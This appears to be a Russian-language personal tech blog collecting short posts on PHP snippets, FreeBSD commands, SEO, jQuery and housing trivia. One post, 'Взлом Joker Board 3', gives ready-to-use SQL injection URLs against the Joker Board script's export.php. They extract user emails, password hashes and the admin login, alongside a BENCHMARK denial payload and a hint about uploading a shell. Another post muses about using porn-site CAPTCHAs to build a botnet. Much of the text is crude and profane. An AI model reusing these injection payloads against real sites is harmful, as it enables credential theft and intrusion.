MSSQL DATETIME в UNIX TIMESTAMP

Пробовал выставлять часовой пояс, но strtotime так и не заработал, пришлось написать функцию:

$textime = ‘Apr 30 2011 09:47:08:580AM’;

echo date(‘r’, datetimeToTimestamp($texttime));

//Sat, 30 Apr 2011 09:47:08 +0300

function datetimeToTimestamp($texttime)
{
if (! $texttime || $texttime == ») return null;

list($month, $day, $year, $time) = explode(‘ ‘, $texttime);
list($hour, $minute, $second) = explode(‘:’, $time);

$month = date(‘m’, strtotime($month));

return mktime($hour, $minute, $second, $month, $day, $year);
}

Bookmark and Share

Шпоргалка по командам

adduser — добавить пользователя;

rmuser — удалить пользователя;

addgroup — добавить группу;

rmgroup — удалить группу;

cat — печать файлов на стандартное устройство вывода:

Некоторые параметры:

      -b — вывести с нумерацией строк, начиная с 1 без учета пустых строк;
    -n — вывести с нумерацией строк, начиная с 1 с учетом пустных строк.

Примеры:
# cat -b file1
# cat file1 file2 > file3

Последний пример запишет содержимое file1 и file2 в файл file3.

date — вывод даты, времени;

cp — копирование файлов;

df — свободное место на диске;

ls — выдает содержимое каталога;

cd — перейти в указанный каталог;

mkdir — создает пустую директорию;

mv — переместить или переименовать файл;

rm — удаление файла;

rmdir — удаление каталога;

ps — вывод активных процессов;

who — список пользователей;

uname — информация о системе.

# ls — вывод на экран содержимого текущего каталога.
Ключ -l (ls -l) выводит полную информацию содержащую права доступа время создания размер и т.д.

# pwd — показать текущий каталог

# cp — копирование файлов.
Пример # cp /home/pool/file /home/pool/file1

# chmod — изменение прав доступа
к файлам и каталогам. Можно использовать маску.

 

  • --- Ничего не разрешено
  • --x Нельзя читать и писать, разрешено исполнять
  • -w- Нельзя читать и исполнять, разрешено писать
  • -wx Нельзя читать, разрешено писать и исполнять
  • r-- Разрешено читать, нельзя писать и исполнять
  • r-x Разрешено читать и исполнять, нельзя писать
  • rw- Разрешено читать и писать, нельзя исполнять
  • rwx Разрешено все

 
Пример: # chmod 755 rimin.conf

# chown : — изменение владельца игруппы

Пример: # chown mail:mailuser help.con

# mkdir — создание директории (пример: # mkdir ddf
— создаст в текущем каталоге директорию ddf)

# mount_msdos /dev/fd0 /mnt — смонтировать флопи формата ДОС в папку /mnt

# umount /dev/fd0 — размонтировать флопи

# tar xzvf .tar.gz — разархивировать tar.gz

# bunzip2 -x -f file.tar.bz2 — разархивировать file.tar.bz2

# gzip -d .gz — разархивировать .gz

# top — посмотреть работу процессов в реальном времени ( -9 убить процесс)

# ps axu — посмотреть работающие процессы (в сочетании с |grep можно найти необходимый
процесс — например # ps axu | grep sshd )

# pwd_mkdb -p /etc/master.passwd — обновить базу пользователей
(пользователей корректировать в файлах /etc/master.passwd и /etc/passwd)

# passwd — сменить пароль для пользователя

grep — наиболее часто используемая команда для фильтрации лишнего —
оставляет в выходном потоке только строчки с совпадением с указаным ключем один из методов
использования выше на пару строк, другой grep — например

# grep root /usr/master.passwd — выведет две строки root, toor.

less — вывод построчно. Для прокрутки использовать стрелки, для выхода — q.
Пример # less /etc/masster.passwd или # ps axu | less

more — вывод по страницам например # man ps | more

# ln -sf /usr/home /home создание символических ссылок (после создания ссылки
команда # cd /home осуществит переход в папку /usr/home)

# man natd | col -b > /floppy/natd — вывод мана в файл без управляющих символов

Перезагрузка процессов:

Очень часто необходимо перезапустить процесс после изменения каки то баз или изменения настроек.
В общем случае это выглядит так — находим номер процесса (допустим sshd)

# ps axu | grep sshd

root 5614 0.0 0.7 2300 1844 ?? Is 12:12PM 0:00.20 /usr/local/sbin/sshd

Номер процесса 5614

Убиваем этот процесс и запускаем по новой (некоторые процессы автоматически запускаются снова)

# kill 5614

пожно убить процесс зная его pid файл. Например так

# kill `cat /var/run/sshd.pid`(кавычки обратные)

Некоторые процессы нельзя убивать непосредственно. Тогда можно осуществить «мягкую» перезагрузку —

# init 1 (# kill 1)

Система спросит вас про шелл по умолчанию, нажмите Enter.
Когда вы увидите в качестве приглашения решетку (#), скажите

# exit

Система заново запустится.

После изменений баз squidGuard необходимо выполнить две команды —

# squidGuard -C all

# squid -k reconfigure

После изменения /usr/local/etc/squid/squid.conf

достаточно выполнить только последнюю команду.

# killall -HUP inetd — перезапустить inetd после изменений в inetd.conf
создать пользователя

# pw useradd -n user1 -u 1001 -g 1001 -m -s csh

# pwd_mkdb /etc/master.passwd

# passwd user1

Перечитать изменения в myd.ru зоне для DNS

# ndc reload myd.ru

Чтобы изменить стандартное приглашение к вводу комманд необходимо в домашней директории пользователя в файл .profile добавить строчку
PS1=»# «, в скобках указываем свою строку

Перестроить базу доступа почты

makemap hash /etc/mail/access < /etc/mail/access

Обновление FreeBSD и портов на несколько машин

Обновить на одной машине с помощью cvsup затем

# tar -cf //src.tar /usr/src

gzip //src.tar

Удаляем старые исходники на машине назначения:

# rm R /usr/ports

# rm R /usr/src

Затем копируем получившийся архив на обновляемый FreeBSD в раздел со свободным местом около 100Мб (всегда было больше, так что возможно это не совсем верно)

# cd /

# tar xzvf //src.tar.gz

Дерево портов по аналогии с той только разницей, что место на диске може понадобится значительно больше, а находятся они в /usr/ports

Одна маленькая хитрость — чтобы не перегонять временные папки (как правило они занимают много места) можно выполнить ряд действий по их удалению:

# find /usr/ports -name "work" > /tmp/del_port.sh

Затем в любом продвинутом редакторе (мне нравится EditPlus) открываем полученный скрипт, делаем замену с использованием ругулярных выражений — ищем начало строки (^), меняем на rm -R (не забываем в конце пробел), потом запускаем скрипт и тем самым облегчаем будущий архив.

Bookmark and Share

Параметры доменного имени, влияющие на ранжирование результатов, в выдаче поисковых систем

1. Возраст домена. Чем старше домен, тем больше доверия сайту, тем выше траст и позиции в выдаче.

2. Доступность информации о владельце домена, дает хоть и минимальное но преимущество при ранжировании сайтов в поисковой выдаче.

3. Географическая привязанность доменного имени. Приоритет в выдаче по заданному региону. Актуальность информации для одного региона, может иметь гораздо большее значение чем для всех остальных. К примеру, «погода в Москве» не так уж сильно важна для жителей Владивостока. Так же как и цена на оленьи шкуры, мало кого заинтересует из москвичей.

4. Домен первого уровня имеет влияние на ранжирование в Гугле. Поэтому, если вы собираетесь делать многоязычный сайт и продвигать поисковые запросы, не только для Росии, но и для всего мира, тут лучше сразу посмотреть в сторону доменов .com, .net, .org, .info и др. И наоборот, если ресурс изначально задуман только для россиян, гораздо предпочтительнее будет обзавестись доменом .ru или .рф.

5. Уровень доменного имени. Влияние на ранжирование минимально и все таки оно есть. Доменные имена третьего уровня — это абсолютно нормально для Украины. И все же, я бы порекомендовал купить домен второго уровня, цены сейчас настолько низки, что экономить «на спичках» просто нецелесообразно. Опять же, «классический подход» поисковых алгоритмов при ранжировании сайтов в поисковой выдаче, подразумевает, что трастовый ресурс в состоянии позволить себе доменное имя второго уровня. Тогда как доменные имена третьего уровня, говорят скорее о бесплатности доменного имени, то есть о низкой конкурентоспособности сайта. Если угодно, то о второсортности этого ресурса.

6. Частота смены имени домена. Чем старше ресурс, тем больше ему доверия. так же как и с людьми, обычно люди редко меняют фамилии, на то. должны быть очень веская причина. Ну разве что девушки, когда выходят замуж…

7. Как часто менялся владелец домена. Смена владельца подразумевает передачу сайта в «другие руки». Следствием может стать резкое ухудшение качества статей и обслуживание ресурса в целом. Новая метла, по новому метет. (с)

8. Как часто менялся IP-адрес, привязанный к домену. Смена хостинга неизбежна при резком увеличении посещаемости. Как правило, переезд на «новое место жительства» всегда связан с резкими падениями позиций в выдаче. Может компенсироваться более высокой скоростью на «новом месте».

9. Доступность сервера (Аптайм). Чем серьезнее ресурс, тем выше скорость его работы, надежность, доступность, скорость загрузки и пр. параметры.

10. Географическое расположение сервера. Наиболее актуально для региональных сайтов.

11. IP-адрес сайта. Трастовые ресурсы в состоянии позволить себе выкупить уникальный IP-шник и не делить его еще с двумя сотнями второсортных ресурсов. Кроме того, на сервере возможны задержки, связанные с перераспределением потоков для разных доменов находящихся на одном IP адресе. Это можно сравнить с коммунальной квартирой, где два звонка в дверь, это к вам, а три звонка, это к соседке, бабе Нюре.

12. Ключевые слова в имени домена. Ключевик в имени домена дает преимущество при ранжировании, при продвижении сайта именно по этому ключу.

13. Упоминание доменного имени, повышает траст и доверие поисковых систем. Как следствие — преимущество в выдаче при ранжировании сайтов.

14. Географическая привязанность, указанная в Google Webmaster Tools. «Регион» для Яндекса.

15. Тематика доменного имени. Точность совпадения запроса не самый важный параметр, так будет отдано предпочтение менее точному совпадению, но на тематически сайте. Например объявление «продам дом» на сайте о собаках, вряд ли будет более релеватно, чем подобное объявление на сайте недвижимости, но с менее точным совпадением ключа — «продам флигель». Хотя бывают и казусы, когда на запрос «куплю дом» первым в выдаче оказывается «продаются борзые щенки».

Надеюсь, что информация окажется полезной и позволит избежать ошибок новичкам.

Удачи вам в продвижении сайтов!

Bookmark and Share

Проверка email средствами PHP

Пример проверки email адреса на соответствие требуемому формату. При написании собственных алгоритмов регистрации или авторизации пользователя на сайте, эта функция весьма необходима.
function email_check($email) {
if (!preg_match(«/^(?:[a-z0-9]+(?:[-_.]?[a-z0-9]+)?@[a-z0-9_.-]+(?:\.?[a-z0-9]+)?\.[a-z]{2,5})$/i»,trim($email)))
{
return false;
}
else return true;
}

Bookmark and Share

Как создать группу вконтакте?

Чтоб создать группу вконтакте нужно:
1. На главной странице выбрать «Мои Группы»
2. Внизу открывшейся страницы нажать «Создать группу»
3. Ввести название группы и нажать «Создать группу»
4. Ввести информацию о группе: название группы, аудитория группы, описание группы, тема группы, подраздел группы, тип группы, веб-сайт группы, страну, город — и отметить настройки, графити и доступ, а затем нажать «Сохранить»
Вот и всё, ваша группа готова. Теперь вы можете загрузить к ней фотографию, выбрать руководителя и приглашать людей, находить дружественные группы, изменять о ней информацию и многое другое.

Bookmark and Share

Бесплатные фоны для сайтов (background генераторы)

Список зачётных сатиков по генерации бэков:

1. Big Patterns
2. StripeGenerator
3. TartanMaker
4. DinPattern
5. PatternCooler
6. Ava7 Patterns
7. 3Quarks
8. Patterns of Change
9. Grunge Textures
10. Lost and Taken
11. Urban Dirty
12. Texture King
13. Pixel Decor
14. Tiles and Patterns
15. Alice Grafixx
16. Kaliber 10000
17. Squid Fingers Patterns
18. Hybrid Genesis

Все отлично ощецца даже через Яшу…

Bookmark and Share

Взлом Joker Board 3

Вопщим на днях для очередного сателита по ВЧ решил поставить готовую доску объявлений. С того все и началось )).

В инете куча скриптов, но почему-то выбор большинства полу-вебмастеров пал на коммерческий скрипт Joker Board. Думаю смысла нет дёргаться с выбором, да и времени мало, решил затестить скриптец. Немного погуглим — попадаем на гавногод.ру и античат.ру, там куча инфы по её уязвимостям + прилично обсирают сам скрипт ))) (особенно за то что он коммерческий). Но ни одна скатина не выкладывает готовый инклуд!!!

Это дело поправимое.  Вот что у меня получилось:

— Вытаскиваем мейлы и хэши паролей  всех зареганых юзверей:

http://site.ru/export.php?t=php&n=24&c=&r=203+UNION%20SELECT%201,2,3,4,concat(email,pass)%20FROM%20jb_user%20LIMIT %20100%20—

— Вытаскиваем логин и хэш админа: 

http:// site.ru /export.php?t=php&n=5&c=0&r=455+UNION%20SELECT%201,2,3,4,concat(login,password)%20FROM%20jb_admin%20LIMIT %20100%20—

Инфа конечно бесполезная, тк авторизация один хуй по сессиям, подмена кук не проканает. А в админке http:// site.ru /a/ схема примерно такая: бла бла бла …. if($password_from_base != md5( $password_from_cookie)) { echo «пошёл нахуй»; } … бла бла бла

Но есть одно НО! )) Если вебмастер полный дибил и отдал все привелегии для mysqluser — то таки удастся залить шелл. Ну а дальше у кого на что мозгов хватает. Лично у меня хватает на склейку через robots ради халявного тИЦ и PR.

Лекарство:  Удаляем нахуй фаил  export.php — всеравно у вас никто забирать анонсы не будет + стоит всетаки раскошелится на коммерческую версию. Почти все пиратки были со стучалками!

ЗЫ. Информация несёт чиста познавательный характер, я никого не призываю к хакерским действиям.

ЗЫЗЫ. Хотя с бенчмарками поугарать стоит ))) http:// site.ru /export.php?t=php&n=24&c=&r=203+UNION%20SELECT%201,2,3,4,BENCHMARK%28100000,%20BENCHMARK%28100000,md5%28current_time%29%29%29%20—

Bookmark and Share

Оптическое распознавание символов

Занятный пиндосовский сервис распознавария капчи — liveocr.com

Бытует мнение что подобные сервиса работают по следующей схеме: Юный, прыщавый дрочер заходит на порносайт, видит капчу, подрочить то нада, вводит капчу. А эта самая капча нифига не с этого сервиса. Немного curl-овской магии + пару десятков порносайтов за бортом и можно состряпать хорошенький ботнет ))).  И эти все мысли в период предварительной регистрации зоны .xxx

Есть о чём задумацца ))

Bookmark and Share

Достаём валуе из инпутов

Какойто пидарас на джиквери.ком выложил вариант с поиском значения из формы типа:

var form = $( this ),
term = form.find( ‘input[name=»s»]’ ).val();

Не в коем случае не используйте этот метод!  Заебётесь однозначно при вставке каких нибуть джава-фич типа рекапчи, да и когда форма большая — лишние телодвижения движка браузера.

Самые пиздатые варианты:

$(‘select.foo option:selected’).val(); — для селектов

$(‘input:checkbox:checked’).val(); — для чекбоксов

$(«#single»).val(); — для type=»text», да и вообще с последней версией джиквери лично у меня канает для всех видов формы, даже для текстарии, хотя непомню уже где на какомто форуме, какойто тип усирался что использовать  val() для текстарии как то не по пацански, и типа надо юзать  html(). Не знаю не знаю ))))

Bookmark and Share

Хрущёвки и окно в кухню из санузла

Разбирая кучу СНИПов и документаций по планировкам хат для одного сайта — наткнутся на одну страшную особенность: почти во всех хрущёвках есть окно из толчка на кухню. Возник интересный вопрос: «Нахуя?».

Вот что пишут в интернетах:
Чтобы подсекать с кухни и изучать анатомию старшей сестры, компенсируя отсутствие предмета «сексология» в школе. Таковое окно весьма доставляет при съёме КОМНАТЫ в 2-3 комнатной хрущобе, при условии молодой-симпатишной хозяйки или, что чаще, сдаче другой комнаты молодым-симпатишным съёмщицам-студенткам. С улыбкой вспоминает Анонимус далёкое студенчество и прикреплённое к потолку кухни у этого самого окна зеркальце.
Также есть мнение, что кухонное окно обычно находится на солнечной стороне дома, и свет, проникая в кухню, таки освещает через это самое окошко еще и ванную, позволяя экономить на электричестве. А при отсутствии электричества(оно имело свойство периодически отключатся) можно было помыться днем без использования свечек.
А также — для быдловентиляции. Рама сделана съёмной, только под десятком слоёв краски эта фича работать перестаёт.
Световые окна были в сортирах домов, построенных в позапрошлом веке до электрификации по совершенно понятным причинам, оттуда они по привычке перекочевали в сталинки (благо, стабильность электроснабжения несмотря на массовые расстрелы до идеала не дотягивала) и далее в качестве совсем уж олдфажного рудимента оказались в некоторых вариантах хрущевок.
Когда купаешься, стук в это окно можно было использовать, дабы попросить занятую готовкой жену потереть спину или принести полотенце.
Есть мнение, что окно появилось в те времена, когда в ванной проходила газовая колонка. В случае взрыва газа в замкнутой ванной комнате, сила разрушения была бы очень велика. Окошко позволяло взрыву выйти за пределы ванной и снизить давление, уменьшив разрушения.

Bookmark and Share